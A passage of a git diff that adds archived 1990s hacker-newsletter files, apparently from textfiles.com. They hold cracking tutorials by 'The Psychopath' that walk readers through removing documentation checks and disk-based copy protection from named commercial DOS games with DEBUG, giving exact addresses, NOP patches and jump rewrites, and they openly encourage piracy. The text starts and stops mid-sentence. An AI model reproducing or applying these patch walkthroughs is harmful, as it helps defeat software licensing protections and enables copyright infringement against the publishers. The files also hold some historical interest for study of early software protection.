rest of the game. + + The first option deals with the above mentioned CALL statements. When you +get to the one you want, you will assemlbe at that address (A Address) and +enter either NOP (being sure to NOP all the bytes of the call statement--NOP +represents NO Option) or jumping from the address of the first byte to the +address of the second byte. Either will do. Removing the CALL statement will +not always work. Sometimes it will do a wide variety of things to the program. +If this happends, then try one of the other options listed. + + The second option involved leaving the doc check entact, but making it so +that any text entered will be accepted by the computer, thus allowing you to +continue with your utility/game. You will usually find a CMP statement (i.e. +CMP AX,[BP-20]) after it calls for the text to be entered. What it's doing +is comparing the value you entered to the value it wants. You can fix this +by either changing the compare statement to compare the register to itself +(i.e. CMP AX,AX), or by changing the jump statements that follow. You might +get a jump statement like JNZ 0345 which will only jump to CS:0345 if the +value is not zero. So just change it to read JMP 0345, which will always +jump to CS:0345. + + The third option involves jumping past the doc check (or CALL statement +more appropriately put). Often times you'll execute the copy protection, and +then it will take you to a new part of the program, where it will make it's +comparison, and then decide wether it will run the rest of the program (if you +answered the question correctly) or kick you out to DOS (or re ask the question +depending on the software). If you know what one of the answers is (and you +should if you have the originals), then enter the correct answer and follow +the program through until it executes the rest of the game. (Make note of where +it executes the rest of the game). Then, you exit out of the game, get back +into DEBUG, and then go back before the doc check is called. Now, jump from +the doc check over to where it executes the rest of the game. This will remove +the doc check completely. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Sample Crack-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Software Name: Fiendish Freddy's Big Top of Fun +Software Company: Mindscape + +Here is a walk through for cracking a simple text doc check in the above +mentioned game. I will present you with two ways of cracking it. +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +Method #1: + + The most preferred way amoung pirates for having a copy protection removed +is for the crackist to take it out completely. There two most common ways of +doing that are: + 1) Remove the call statement that executes the protection. + 2) Jump around the protection. + I'm going to teach you method 1 (removing the call statement). Find a +copy of Fiendish Freddy, and type the following: + + DEBUG FREDDY.EXE + + After typing this, you will be in the program itself, and you will see +the "-" to the left of the screen. To see where you are in the program, +press R, and you will see something like this: + + AX=000 BX=0003 CX=4A40 DX=0000 SP=34BC BP=0000 SI=0000 DI=0000 + DS=11EB ES=11EB SS=44B2 CS=11FB IP=3E93 NV UP EI PL NZ NA PO NC + + -11FB:3E93 9A00005341 CALL 415E:0000 + + ---------------------------Special Note---------------------------- + The value of CS is "11FB". That is the hexadecimal segment address + for the beginning of the program code in your computer's memory. It + is highly possible that the value you see for CS is different from + mine. + ------------------------------------------------------------------- + + Now then, press P to proceed through the program until you come to +the call statement located at CS:3EF8. Type U 3EF2 to unassemble around +the call statement. You will see the following: + . + . + 11FB:3EF2 55 PUSH BP + 11FB:3EF3 89E5 MOV BP,SP + 11FB:3EF5 83EC02 SUB SP,+02 + 11FB:3EF8 9A9C01291A CALL 1A29:019C + 11FB:3EFD A2CA02 MOV [02CA],AC + . + . + Okay, write down the HEX values before, including, and after the call +statement. Now in order to change it, you will type A 3EF8 and you'll +see this: + + CS:3EF8 + + Where the cursor is located, you will type NOP (No Option) 5 times, in +order to wipe out the 5 bytes of the call statement, and then press . +NOP is like erasing data. (i.e. 11FB:3EF8 NOP NOP NOP NOP NOP). Now press +G to execute the game. The actual program should load up without executing +the doc check at all. If not, then you screwed up and need to re-check your +alterations to the program. + + -----------------------Saving the Changes----------------------- + Remember now, that DEBUG can only write to .COM and files + other then .EXE (with the W command). One way to save the + changes (the more unreliable way) is to rename the .EXE file to + Something like .HEY or whatever, and then going in and searching + for the data to be changed (with the S command). Now edit the + data as normal, and save with the W command. Exit out + (Q) and rename the .HEY file back to .EXE + + *** This will not always work *** + + Another way to save changes is with a sector editor (The two most + widely used are Norton Utilities and PCTools). Search for the + HEX values (the values I told you to write down) of the data in + front of, including, and after the statement. When you find + The statement, edit it. (In the above case, you'd change the + HEX values of the CALL statement to read 90 90 90 90 90 --90 is + the HEX value for NOP). + ------------------------------------------------------------------ + +Method #2: + + Another way to remove copy protection is to leave the doc check entact, +but change it so that it accepts the values that you enter 100% of the time, +regardless of what it is. The ways you can do this are: + 1) Change the CMP (compare) of what you entered to what it's supposed + to be, so that it compares what you entered to what you entered + (i.e. CMP AX,[BX-23] would be changed to CMP AX,AX). + 2) Change the Jump statements (JNZ, JZ, JB, JA, JG, JL, etc.) + + We will use Option #2 this time, and again using Fiendish Freddy. Type +the following to get started: + + DEBUG FREDDY.EXE + + Now then, proceed back up to where we saw the CALL statement that executes +the protection. (CS:3EF8) And this time, trace through it (T). Now then, +your CS will change to something else, because you've moved down one level in +the program. Start proceeding through. You'll come upon several CALL +statements that load in the text for the doc check. Ignore them, they cause +no harm. (Just for your info, they exist at CS:022A, CS:0246, CS:025C, CS:0271, +CS:028D, CS:02A3, CS:02B8, CS:02D4). Now then, at CS:02F2 CALL 415E:0C73 +appears. What this does call for the user to enter some text from the keyboard. +Proceed through the CALL statement, and the screen will wait for a key to be +pressed. Enter something like "kskdksdk" and then it will take you back +to the program. + Proceed on until you come to the following: + + CS:030E 3B86DFFE CMP AX,[BP+FEDF] + CS:0312 7F25 JG 0339 + CS:0314 8946FD MOV [BP-03],AX + + Now, what is happening is the program is making a comparison of what was +entered. If that value is greater then what it wants, then it jumps to CS:0339 +and if it isn't then it just continues on. Now we want to fool it into +thinking that the text is correct. So change CS:0312 to read JMP 0339. This +way, the program will jump to 0339 every time, no matter what is entered. Now, +we're not through yet. You'll soon come to this: + + CS:0349 9A....... CALL 415E:0419 + CS:034E 7404 JZ 0354 + CS:0350 B000 MOV AL,00 + CS:0352 EB02 JMP 0356 + + Now we have another comparison here. The CALL statement is calling a +compare routine, and when it's finished, if the value is equal to 0, it will +jump to CS:0354, and if not, it will simply continue on. We need to fool the +computer once again, and change CS:034E to read JMP 0354, so that it will +always jump to 0354. This is the last change that needs to be made. Go ahead +and type G to test it out. When you're done, be sure to make the changes +permanent, as described above. + +-------------------------------------------------------------------------------- +Disk Checks: + (INT-13) + + Some copy protection schemes use the disk interrupt (INT-13). INT-13 is +often used to either try to read in an ilegally formatted track/sector, or to +write/format a track/sector that has been damaged. + + INT-13 is called like any normal interrupt with the assembler command +INT 13 (CD 13). The AH register is used to select which command is to be used, +with most of the other registers used for data. + + Now, the copy protected file might use INT-13 to load some other data from +a normal track/sector on a disk, so it is important to determine which tracks/ +sectors are important to the cp scheme. There are two common ways to do this + 1) Use Quaid Analyzer to keep track of INT-13 activity + 2) Use Locksmith to track down unusual traks/sectors. + + With Locksmith you can analyze the diskette. Write down any tracks/sectors +that seem abnormal. These are most likely part of the protection routine. Now +we must enter debug and load in the file to execute a search for CD 13. Record +any addresses shown. (i.e. S CS:100 FFFF CD 13). + + If no addresses are picked up, then either the interrupt is encoded, or +it's in a part of the program not yet loaded. Here's what a sector of hidden +code might look like: + + CS:0000 31DB XOR BX,BX + CS:0002 8EDB MOV DS,BX + CS:0004 BB0D00 MOV BX,000D + CS:0007 8A07 MOV AL,[BX] + CS:0009 3412 XOR AL,12 + CS:000B 8807 MOV [BX],AL + CS:000D DF13 ........... + + In this section, AL is set to DF at location CS:0007. When you XOR DF +and 12, you would get a CD (hex) for the INT code, which is placed right next +to a 13, thus giving uou CD13 or INT-13. + +---------------------------Finding Hidden INT-13s------------------------------- + A good way to find hidden INT-13s is with Quaid Analyzer, or Step-13 (or +Trap-13, or PC-Watch....all work equally as well). Step-13 traps the interrupts +and will print where they were called from. Once running this, you can jut +disassemble around the address until you find a code that looks like it is +setting up the disk interrupt. + + Another way to decode the INT-13 is to use the G (go) command in DOS DEBUG. +Just set a breakpoint at the address given by Step-13. i,e, G CS:000f (see +above code). When debug stops, you will have encoded not only the INT-13 but +anything else leading up to it. +-------------------------------------------------------------------------------- + + Once you find the INT-13, all that is left to do is to get the computer to +think that the protection has been found. To find out what the computer is +looking for, examine the code right after the INT-13. Look for anything having +to do with the CARRYFLAG or any CMP to the AH register. If a JNE or JC (etc.) +happens, then unassemble (u address) the address listed with the jump. If it +is a CMP then just read on. + + Here you must decide of the program was looking for a protected track or +just a normal track. If it has a CMP AH,0 and it has read in a protected +track, it can be assumed that it was looking to see if the program had +successfully completed the read/format of that track and that the disk had +been copied thus jumping back to DOS (usually -with INT 19). If this is +the case, just NOP the bytes for the CMP and its corresponding JMP. + + If the program just checked for the carry flag to be set, and it isn't, +then the program usually assumes that the disk has been copied. For example: + + CS:0002 INT 13 (Reads the sector) + CS:0004 JC 0345 (Jump comparison) + CS:0006 INT 19 (reboot) + CS:0345 Rest of program.. + + The program carries out the INT and finds an error (the ilegally formatted +sector) so the carry flag is set. The computer, at the next instruction, sees +that the carry flag is set and knows that the protection has not been breached. +But, when you make a copy, it will see the breached protection, and execute the +INT 19. To avoid this, change the JC 0345 to read JMP 0345. + +* Note that the protection routine might be found in more then just one +part of the program * + + Here is a chart describing INT-13 using the AH register to select +the function to be used. + +AH=0 Reset Disk +AH=1 Read the status of the disk system into AL + + AL ERROR +----------------- + 00 - Successful + 01 - Bad Command given to INT +*02 - Address mark not found + 03 - Write attempted on a write protected disk +*04 - Request sector not found + 08 - DMA overrun + 09 - Attempt to cross DMA boundary +*10 - Bad CRC on disk read + 20 - Controller has failed + 40 - Seek operation failed + 80 - Attatchement failed + +* Represents the most commonly used in the Copy protection + + input: + DL = Drive Number (0-3) + DH = Head Number (0 or 1) + CH = Track Number + CL = Sector Number + AL = # of sectors to read + ES:BX = Load address + output: + AH = error number (shown above) + [Carry flag set] + AL = Number of sectors read + +AH=3 Writes (Params. as above) +AH=4 Verify (Params. as above ES:BX) +AH=5 Format (Params. as above CL,AL + ES:BX points to format table) + +-------------------------------------------------------------------------------- +Cracking Overlays: + + Sometimes the copy protection is executed in an overlay file. The best +way to find out which file it is in, is to use Quaid Analyzer to track the +INT 21 calls and see which program is loaded in. Next, if it was an INT-13 +type protection, then you'll do as usual and just look for it in the overlay +file. + If it was a doc check, then you'll proceed through the .EXE file as usual +(with DEBUG or whatever), and go up to the doc check. Now the changes you make +might have to be made in the overlay file. What I mean, is if you search the +.EXE file and don't find the HEX values, then search the overlay file. You'll +have a high probability of finding them there. Then, just change the bytes in +the overlay file as usual and execute the game. It should run, this time with +the crack entact. +-------------------------------------------------------------------------------- + + Hopefully this will aid you on your quest to become a crackist. And remember, +don't get in over your head by attempting to crack something difficult, 'cause +it will benefit you 0%. Laterz... + + - The Psychopath diff --git a/textfiles.com/magazines/MHPC/mhpcnws2.phk b/textfiles.com/magazines/MHPC/mhpcnws2.phk new file mode 100644 index 00000000..d043640b --- /dev/null +++ b/textfiles.com/magazines/MHPC/mhpcnws2.phk @@ -0,0 +1,450 @@ + Midnights Hackers Private Club + + Where members or hackers groups come to exchange ideas, and show + off skills. + + **** A Cracking Guide For Advanced Amateurs **** + + An Article By: + + The Psychopath + + TABLE OF CONTENTS + ------------------- + + I. Introduction and Overview + II. Types of Cracks + A) Documentation Protection + B) Config/Setup Protections + III. Closing Remarks + +-------------------------------------------------------------------------------- +Introduction: + + This is my second edition on cracking tutorials. This one will provide +more information on the art of cracking as well as some more advanced cracking +walkthrus. Take the learning process slow, and just let it come to you. Don't +try tackling too much at once. Again I emphasize the importance of practice and +experience as being the best teacher. And I think I'll mention this now... +ALWAYS, ALWAYS make backup copies of the programs before you tamper with them +with your debuggers and sector editors, because if you screw up and write to +your only copy, you're plain outta luck. + + Cracking programs used in this issue: + DOS Debug + Turbo Debugger + Quaid Analyzer + + Acquire these if you don't already have them. These are not the only +cracking utilities, but they are the ones that I will be using in my lecture +today. + + Here's a basic list of Debug commands in case you've forgotten: + +Command Function +------------------------------------------ +*A [address] Assemble + C range address Compare + D [range] Dump + E address [list] Edit + F range list Fill +*G [=address [address..]] Go + H value value Hex + I value Input + L [address [drive:record record] Load + M range address Move + N filename [filename] Name + O value byte Output +*P [=address][value] Proceed +*Q Quit +*R [register-name] Register +*S range list Search +*T [=address][value] Trace +*U [range] Unassemble +*W [address [drive:record record] Write + + [* Indicates the only ones you need worry about for now. They are the main + commands that you use). Basically, you will enter the letter command and then + return (). Addresses only need to be specified based on necessity. (for + example, you could just enter G and it would execute. Specifying an address + would set a break point. (run the program up to that address). For P and T, + just enter the letter name and . It's quicker.] + + Further explanation of the commands is provided in your DOS users manual. +Read it for yourself. + +*** Note that not all forms of copy protection, nor their ways of removal are +discussed in this news letter **** +-------------------------------------------------------------------------------- +Cracking Documentation Checks Part II: + + Okay, the most common form of copy protection is the documentation check. +Doc checks are usually at the beginning of the software, with a few exceptions +(some being in the middle or at the end). They range in variety from simple +text questions, to having graphic and mouse interfacing. They, of course, +range in difficulty from being extremely easy to being near impossible. + + In the past issue, I gave an extremely simple copy protection to remove +(Fiendish Freddy, if you remember). Here, after a refresher course on what to +do to remove the doc checks, we'll take a look at a complicated doc check. + + There are three basic ways to remove the Doc check: + 1) Remove the CALL statement. + a) By the NOP command. + b) By jumping from the first byte to the last. + 2) By changing the comparisons. + a) By changing the CMPs to compare registers to themselves. + b) By changing the jump statements that follow. + 3) By Jumping around the Doc check to get to the part of the program + that loads in the rest of the game. + + In the first option, as you know, we can remove the CALL statement by +writing the assembly command NOP (No Option) in place of the CALL statement +itself. Or we can simply jump from the first byte in the CALL statement to +the last byte in the call statement (This has the same effect). + + The second option involved leaving the doc check entact, but making it so +that what you enter (wether it be right or wrong) will be accepted by the +computer, thus allowing you to continue with your game. You will usually find +a CMP statement (i.e. CMP AX,[BP+2307]) after it calls for the text to be +entered. What it's doing is comparing the value you entered (stored in the +registers) to the value it wants. You can fix this by either changing the +compare statement so that the register is compared to itself, (i.e. CMP AX,AX), +or by changing the jump statements that follow. You'll get a jump statement +similar to JNZ 1355, which will only jump to CS:1355 if the value from the +compare is not zero. So just change it to read JMP 1355, which tells the +program to always jump to CS:1355. + + The third option involves jumping past the doc check. Often times you'll +execute the copy protection, and then it will take you to a new part of the +program when it's finished, where it will make it's comparison, and then decide +wether it will execute the remainder of the program (if you answered the +question right) or boot you out to DOS (giving a wrong answer). If you know +what one of the answers is (and you should if you have the originals with the +docs included), then enter the correct answer and follow the program through +until it executes the rest of the game. (Make note of where it executes the +remainder of the game). Then, you exit out of the game, get back into your +debugger, and go back before the doc check is called. Now, jump from the doc +check over to where it executes the remaining portion of the game. This will +remove the doc check completely if done properly. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Sample Crack-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Software Name: Martian Dreams +Software Company: Origin + +Here is a walk through for cracking a moderately complicated doc check in +the above mentioned game. I will present you with one way of cracking it. +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +Method : Jumping around the Doc Check (Method #3 as mentioned above). + + Find an uncracked copy of Martian Dreams. If you notice, there are 2 +executable files. MARTIAN.EXE is the introduction file, and GAME.EXE is the +actual game. (This can be found out by using Quaid Analyzer to watch the INT-21 +output while tracing through MARTIAN.EXE) Now, make sure that you have a +character created. You're going to need to get the prybar from the cowboy and +move your character right above the hatch and then save the game and exit to +DOS. Now we're ready to begin. + + Load GAME.EXE into your debugger (I'll be using good ol' DOS debug). + + Proceed through the program, making note of any loops you get into. (To get +out of a loop such as something that makes a jump comparison and then sends you +to a previous part of the program, just look at what address is after the jump +and then go to that address (with the G

command) i.e. +CS:003C JNZ 0034 is in the early part of the game. We notice that CS:003E lies +just after this call statement, so jump to it--G 3E). + + Now, keep going until you come to the following: + + CS:00FC CALL 14C8:0941 + +(The 14C8 segment may be different on your machine, depending on you memory). +Trace through this call statement (proceeding through it will execute the +game, so don't). Now, start proceeding again. You'll come to the following +address: + + CS:0C5E CALL 2015:0013 + +This will switch graphics modes, so we know we're on the right track. Keep +proceeding. Next you'll start hitting addresses that will call parts of the +picture to the screen. At the following: + + CS:0CEA CALL 0509 + + CS:0F69 CALL 3433:04B1 + +Each of these calls in a different picture...we're getting close, so keep +going. When you come to the following address: + + CS:0FD7 CALL 2409:133A + +Trace through it. (Proceeding through will execute the game). Now, keep going. +Again, you'll hit CALL statements that load in graphics pictures, at the +following addresses: + + CS:1B51 CALL 0A47 + + CS:1B64 CALL 0084 + + CS:1B83 CALL 18B4 + + CS:1B95 CALL 0221 + +Keep proceeding until you come to: + + CS:1BA5 CALL 3433:28CC + +Trace through this (proceeding through will execute the "command entering" part +of the game. It will execute a full command at once, so we need to trace +trough it to break up the command into parts). Tracing trough, and proceeding +on, we come to the following: + + CS:2902 CALL 20AD + +This allows one key movement/command to be entered at a time. Proceed through +this call statement and type a "U" to get the character to use an item. Now +you're back at the program. If you proceed on, you'll hit the RETF and +eventually come to the following: + + CS:1BC5 LOOP 1BBB + +This will loop back and take control of the program until your command has +been fully executed, then you'll be back at the debugger again. We don't want +this, because we need to proceed through and see what happends step by step, +before it calls the doc check, so do the following. at the CS:2902 address, +you proceeded though the first time right? and you entered a "U", well jump back +to CS:2902 (i.e. G 2902) and proceed through again. Keep doing this until +you have entered all the following commands: + + U = to get your character to use an item. + TAB, Left arrow key = moves over to your inventory, then select + prybar. + Down arrow key = Points at hatch. + +Now, after you do the last input, proceed on through the program. When you +come to the following: + + CS:0831 CALL FAR [BP-0E] + +Trace through this call statement (proceeding through it will execute the game). +After tracing through, you'll see this: + + CS:0066 INT 3F + +This is another form of a CALL statment. Trace through it (proceeding through +will execute the game). Now, keep going until you come to the following: + + * CS:0A81 JNZ 0A9D + CS:0A83 PUSH AX + CS:0A84 CALL 2D04:4759 + CS:0A89 PSUH AX + CS:0A8A MOV AX,3DAF + CS:0A8D PUSH AX + CS:0A8E MOV AX,183C + CS:0A91 PUSH AX + CS:0A92 CALL 3433:33F8 + CS:0A97 ADD SP,+06 + CS:0A9A JMP 0B51 + CS:0A9D MOV AL,[6ED6] + CS:0AA0 MOV AH,00 + CS:0AA2 TEST AH,0010 + * CS:0AA5 JZ 0AC2 + CS:0AA7 MOV AL,[6ED6] + +Here's the deal. Those two marked jump statements are the key to the whole +thing. The comparisons made are trying to determine if you have answered the +question already and correctly. What you want to do is get the program to +go to the addresses listed in the statements all the time. So change them +to say: + CS:0A81 JMP 0A9D + CS:0AA5 JMP 0AC2 + +This will jump past the copy protection completely. Now, to explain how I knew +to do this. What I did is proceed through to the doc check itself, and then +entered a correct answer, followed the program through until it got back to +where you could enter commands again (CS:2902), and then I did those commands +again (if you recall, you have to open the door twice). This time, I followed +through, making note of all the jump statements, seeing where it went, until +it opened the door for me. Next, I went back in with the debugger and got back +up to the doc check and entered a wrong answer, then followed it through, until +it got back to CS:2902, and then I entered the commands again, and followed it +through, making note of the jump statements. After I got past a certain point +(past the address where it opened the door on a correct answer) I compared +the jump statements between the two scenerios, and found the differences, so +I changed the jumps to always think that you've already entered a correct +answer (As shown above). You'll need to know some right answers to do this, +so what I reccommend is either getting a copy of the docs, or get your +encyclopedias handy (some of the questions asked are actual historical facts). +I'll now describe how to get to the doc check, if you want to try this out +for yourself. + + Okay, you've traced throught CS:0831 and CS:0066, right? And now you're +proceeding on. You'll eventually come to the following: + + CS:0ABA CALL 417E:0034 + +Trace through this, to get to this: + + CS:0034 INT 3F + +Trace through this as well. (Remember what I said above about it being a type +of call statement). Now, proceed on. You'll next come to the following: + + CS:0396 CALL 0000 + +Trace through this and then proceed on. You'll next come upon this: + + CS:0156 CALL 4183:0034 + +Tracing through will once again bring you to this: + + CS:0034 INT 3F + +Trace through again, and then proceed on. You'll next hit a bunch of CALL +statements that will load in graphics pictures and text. Just keep proceeding +on. (Just so you know where you are, some of these CALL statements will be at +these addresses): + + CS:1A0F CALL 2015:1E2B + CS:1A67 CALL 1675:024B + +Now, you'll come up to the following: + + CS:1E9E CALL 1756 + +This is the doc check. Proceed through, so that it is loaded in. It will ask +the question and then boot you back to the program, so proceed on. You'll next +come to: + + CS:1B6B CALL 3433:33F8 + +This will wait for you to press enter, then put you back in the program. So +press and proceed on. Next you'll come to this: + + CS:1B80 CALL 3433:2AF1 + +This will wait for you to enter your response to the question. So enter a right +answer, and then press , and now proceed on. Keep going on until you get +back to where I described up above, and do as I mentioned. This will show +you why I changed those jump statements. So, when you're through with this, +be sure to save the changes, and if you've forgotten how to save, here's a +little memory refresher: + + -----------------------Saving the Changes----------------------- + Remember now, that debuggers can only write to .COM and files + other then .EXE (with the W command). One way to save the + changes (the more unreliable way) is to rename the .EXE file to + Something like .HEY or whatever, and then going in and searching + for the data to be changed (with the S command). Now edit the + data as normal, and save with the W command. Exit out + (Q) and rename the .HEY file back to .EXE + + *** This will not always work *** + + Another way to save changes is with a sector editor (The two most + widely used are Norton Utilities and PCTools). Search for the + HEX values (the values I told you to write down) of the data in + front of, including, and after the statement. When you find + The statement, edit it. (i.e. Changing the HEX values of a CALL + statement to read 90 90 90 90 90 (90 is the HEX value for NOP)). + Also, make sure that you write down the new hex values after + changing the assembly code in the program with the debugger. + Then you'll replace the original HEX values with what you want + them to be. + ------------------------------------------------------------------ + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Sample Crack-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Software Name: Castles +Software Company: Interplay + +Here is a walkthru for cracking a config/setup type copy protection. This will +be fairly simple to crack, so get relaxed. +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +Method: Changing Jump Statements + + Obtain an uncracked copy of Castles, and prepare your debuggers. First +off, you'll notice that you need to run the setup program to get the game +configured for your system so it can be properly run. When you enter the +options to fit your system, you'll then be asked a question from the manual, and +it will then write a number into the batch file it saves. If you answer wrong, +it will write a "wrong" number in the batch file, and if you answer right, it +will write a "right" number in the batch file. To remove any possible +complications and hassles, we're going to remove the question and remove where +the game checks to see what the number is. So, two cracks will be needed. One +in SETUP.EXE, and the other in CASTLES1.EXE. Load SETUP.EXE into your debugger +and start proceeding. + + Now, you'll come up to the following: + + CS:00EF CALL 14DD:0B69 + +Trace through this and start proceeding. + +*** Note that I will not be mentioning when the graphics mode is switched or +when it calls in graphics pictures. You should know what they are by now *** + +You'll come up into a loop that goes back and redraws the menu screen. IF you +keep proceeding through the loop, it will be a slow process trying to configure +your system, so just jump past that jump statement to CS:0BC5. This will allow +you to enter your setup options. After doing this, select continue, and press +enter. Now, proceed on. You'll notice the following soon: + + CS:0BCD CALL 033A + +This is the doc check. Proceed on and see what happends. At CS:0BD8 CALL 04E3 +it will write that number to the batch file. So, let's get rid of the question. +We want it to just jump past the doc check, and save the configuration to the +batch file, so do this. Notice before the doc call at CS:0BCA there is a +JZ 0BDF. This can be changed to: JMP 0BD7, thus jumping past the doc +CALL, and onto the part where it writes the number. Next, proceed on, and +you'll come to this: + + CS:0BE8 JZ 0BF0 + +This is comparing what you entered and if it's wrong, it will exit out and +tell you to try again, and if it's write, it'll jump to CS:0BF0. So let's +just tell it to jump to 0BF0 all the time. (i.e. CS:0BE8 JMP 0BF0). + +Now, save the changes and let's start on the game. Load CASTLES1.EXE into your +debugger (Make notice of the parameters set in the batch file, because you'll +need to specify these when loading it into the debugger, so that it will run +the way you configured it on your system - i.e. DEBUG CASTLES1.EXE /VGA +/NOTITLE /NOMUSIC) Start proceeding through. + +You'll come up to the following: + + CS:00EF CALL 1DDD:0752 + +Trace through this and proceed on. Next you'll come to some jump and CALL +statements. If you proceed through, it will kick you out to DOS, so make note +of the following jump statements, and what they are doing: + + CS:0669 JZ 0670 + + CS:0678 JNZ 0680 + + CS:067E JZ 0691 + +If you notice what happends when you proceed through on a wrong number, you'll +see that the following needs to be done to those jump statements, so that +we jump around the statements that call to verify the copy protection: + + CS:0669 JMP 0670 + + CS:0678 NOP NOP + + CS:067E JMP 0691 + +Now, save these changes, and you're all done. The Setup program will no longer +ask the question, and the game itself will no longer check to see if you +answered the question right. So you're congratulate yourself. + +-------------------------------------------------------------------------------- + + Hopefully this will aid you on your quest to become a crackist. And remember, +don't get in over your head by attempting to crack something difficult, 'cause +it won't help ya at all, G. Laterz... + + - The Psychopath diff --git a/textfiles.com/magazines/MHPC/mhpcnws5.phk b/textfiles.com/magazines/MHPC/mhpcnws5.phk new file mode 100644 index 00000000..9a649e1f --- /dev/null +++ b/textfiles.com/magazines/MHPC/mhpcnws5.phk @@ -0,0 +1,344 @@ + Midnights Hackers Private Club + + Where members or hackers groups come to exchange ideas, and show + off skills. + + **** A Cracking Guide For Advanced Amateurs Part II**** + + An Article By: + + The Psychopath + + TABLE OF CONTENTS + ------------------- + + I. Introduction and Overview + II. Types of Cracks + A) Doc Check with a small Loader + B) Doc Check with a complex Loader + III. Closing Remarks + +-------------------------------------------------------------------------------- +Introduction: + + This is my third edition on cracking tutorials. This one will provide +more information on the art of cracking as usual, and will provide a comparison +of 2 similar doc checks that vary in difficulty. Take the learning process slow, +and just let it come to you. Remember, don't try tackling too much at once. +Experience is the best teacher. Just a friendly little reminder here... +ALWAYS, ALWAYS make backup copies of the programs before you tamper with them +with your debuggers and sector editors, because if you screw up and write to +your only copy, you're plain outta luck holmes. + + Cracking programs used in this issue: + DOS Debug + + Acquire this if you don't already have it. This is the basic cracking +tool, and is my favorite. There are some advanced debuggers out there with +menus and fancy features, but when they fail, debug will come through for ya. +But of course, having the other debuggers can be handy at times, so I suggest +finding them if you don't already have them. Some good ones to get are: + Turbo Debugger (2.0 or greater) + Soft Ice (2.5 or greater) + Code View + + I will no longer tell you how to access a debug command, so here's the +last time that I will refresh your memory as to what they are. If you don't +know what they mean by now, then you should go back and re-read my previous +articles. + +Command Function +------------------------------------------ +*A [address] Assemble + C range address Compare + D [range] Dump + E address [list] Edit + F range list Fill +*G [=address [address..]] Go + H value value Hex + I value Input + L [address [drive:record record] Load + M range address Move + N filename [filename] Name + O value byte Output +*P [=address][value] Proceed +*Q Quit +*R [register-name] Register +*S range list Search +*T [=address][value] Trace +*U [range] Unassemble +*W [address [drive:record record] Write + + [* Indicates the only ones you need worry about for now. They are the main + commands that you use). Basically, you will enter the letter command and then + return (). Addresses only need to be specified based on necessity. (for + example, you could just enter G and it would execute. Specifying an address + would set a break point. (run the program up to that address). For P and T, + just enter the letter name and . It's quicker.] + + Further explanation of the commands is provided in your DOS users manual. +Read it for yourself. + +-------------------------------------------------------------------------------- +Cracking Documentation Checks With Game Loaders: + + Okay, the most common form of copy protection is the documentation check. +Doc checks are usually at the beginning of the software, with a few exceptions +(some being in the middle or at the end). They range in variety from simple +text questions, to having graphic and mouse interfacing. They, of course, +range in difficulty from being extremely easy to being near impossible. + + In this issue, we're going to take a look at a programmers attempt to +cause frustration for us crackists. Someimtes you'll come upon a game that will +have you run one program, which will in turn run the main program. And of +course, you have to run the first (loader) program or the game won't work right. +Well, this poses a problem with debugging, for you can only load in one program +at a time, and most likely you won't be able to trace through one program to +get to the other, so how do we get to the copy protection and remove it? Well +let's go through two sample cracks and find out for ourselves eh. + + Hopefully you remember what types of copy protection ASSEMBLY commands +to look for, and how to couteract them, cause I won't refresh your memory for +you....you'll have to re-read the past articles if you forgot. + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Sample Crack-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Software Name: Gateway to the Savage Frontier +Software Company: S.S.I. & Beyond Software + +Here is a walk through for cracking a simple attempt at a loader along with +a simple doc check. This should be eazy to follow, so let's get going eh. +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + Find an uncracked copy of Gateway to the Savage Empire. Now then, you'll +notice that there is a batch file entitled START.BAT This is what we run to +load in the game. Well, let's see what it's doing. Type the batch file out. +You should see this: + + @echo off + start1 + if errorlevel 1 goto end + go + :end + + Now, if we run this batch file, it will execute START1.EXE which will +allow you to specify your graphics, sound, mouse, etc. etc., and when that's +done, it returns to the batch file, where you'll notice GO.BAT is then executed. +Let's look at GO.BAT and see what it's doing. You'll see something similar +to this (depending on the graphics and sound and such that you selected): + + ibmsnd + game UseStart + ibmsnd U + +Notice that the UseStart is a parameter specification on the game. If we +try running GAME.EXE it will tell us to run start. Well, this is so simple +it's not even funny. Notice what start does. It sets up your system +specifications, then loads in the game. That UseStart parameter is the key +to the whole thing. Instead of typing just "debug game.exe" specify the +parameter as well (this will happen quite often with games that use parameters. +They must be specified in the debugger if you want them loaded in). Type "debug +game.exe UseStart" (and the capital/lower case letters ARE significant in the +paramater settings). Now, we're ready to begin. Start proceeding. + + At CS:0037 CB RETF, you'll do a far return to a new code segment address, +at CS:0038, here you'll proceed on. You'll hit a bunch of comparison jumps +that will keep looping you around till you eventually get to CS:00DE, where you +can start proceeding forward again. ('Course if you're smart you'll just take +my advice and jump from CS:0038 to CS:00DE and proceed from there). Next +you'll come to: + + CS:00FE 2E CS: + CS:00FF FF2F JUMP FAR[BX] + + Proceed through this and you will be at a new code segment address at +CS:0019, where you will find a long series of CALL statements. Start proceeding +through them. You'll hit some that will load in the graphics and the title +screen and such (if you press control-C when the Beyond Software screen appears, +it will skip the intro screens). You should eventually come to: + + CS:01CE CALL 1303:002A + + This address calls in the option that will ask you if you want to PLAY the +game or view a DEMO. We of course, want to play, so select play and press +enter. Now, proceed on. It will eventually bring you up to this address: + + CS:0208 JNZ 0216 + CS:020A CMP BYTE PTR [5D8E],00 + CS:020F JNZ 0216 + + Now, we've already selected that we want to play the game, so what do you +think this comparison means? Could it be that it's determining wether or not to +load in the doc check? Well I do believe so. If you don't believe me, proceed +on. You'll hit a CALL statement at CS:0211 That will load in the copy +protection. So how do we remove this? Well, what I suggest doing is changing +the jump at CS:0208 to read CS:0208 JMP 0216. + + This will tell the program to jump directly to CS:0216, thus skipping over +the copy 